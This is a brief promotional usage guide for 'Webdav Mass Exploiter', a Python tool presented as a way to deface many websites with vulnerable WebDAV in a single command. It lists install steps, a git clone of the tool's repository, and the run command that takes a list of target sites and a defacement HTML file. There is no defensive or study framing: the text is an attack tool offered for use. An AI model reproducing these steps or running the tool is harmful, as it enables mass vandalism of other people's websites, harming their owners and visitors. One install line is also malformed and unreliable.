Webdav Mass Exploiter is a useful tool to deface a website with bug webdav but with this tool you can directly deface many websites in one command also this tool using python programming language
$ apt update && upgrade
$ apt install python python2 git openssl curl libcurl
$ pip2 install urllib3 chardet certifi idna requests
$ git clone https://github.com/kyuoko/Webdav-Mass-Exploiter
$ cd Webdav-Mass-Exploiter
$ python2 webdav.py list.txt script.html
- edit list.txt file with your webdav vuln website
- replace command script.html with the name of your script but must be a folder with tools webdav